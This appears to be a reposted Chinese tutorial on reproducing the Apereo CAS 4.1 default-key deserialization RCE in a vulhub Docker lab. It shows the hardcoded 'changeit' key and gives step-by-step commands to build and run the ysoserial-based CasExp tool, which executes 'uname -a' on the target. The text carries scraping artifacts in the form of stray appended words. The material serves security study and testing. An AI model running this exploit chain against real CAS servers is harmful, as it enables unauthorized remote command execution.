Apereo CAS 4.1 反序列化命令执行漏洞

2022年01月14日 阅读数:1
这篇文章主要向大家介绍Apereo CAS 4.1 反序列化命令执行漏洞,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

Apereo CAS 4.1 反序列化命令执行漏洞

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登陆系统。其4.1.7版本以前存在一处默认密钥的问题,利用这个默认密钥咱们能够构造恶意信息触发目标反序列化漏洞,进而执行任意命令。java

环境搭建

vulhub:https://vulhub.org/#/environments/apereo-cas/4.1-rce/git

docker-compose up -d

在这里插入图片描述

启动成功后访问http://ip:8080/cas/logingithub

在这里插入图片描述

漏洞成因

漏洞原理其实是Webflow中使用了默认密钥changeitweb

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

漏洞检测

用户名密码随便写,bp抓包docker

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1bQuvKla-1638332328854)(images/1/image-20211201104921961.png)]apache

漏洞利用

环境、工具准备

须要安装jdk1.8 ;须要安装 mavenmaven

在这里插入图片描述

环境安装步骤:svg

  • 下载 ysoserial.jar
连接:https://pan.baidu.com/s/1ZVHBvoCa8j7WiC9qW9-ESw 
提取码:nkh8 

  • 安装到本地maven:
mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file -Dfile=ysoserial.jar -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.6 -Dpackaging=jar -DlocalRepositoryPath=my-repo

在这里插入图片描述

下载 CasExp 项目源码到本地工具

git clone https://github.com/potats0/CasExp.git

生成java执行文件this

mvn clean package assembly:single

在这里插入图片描述

利用工具,成功执行命令

java -jar CasPoc-1.0-SNAPSHOT-jar-with-dependencies.jar http://192.168.8.143:8080/cas/login "uname -a"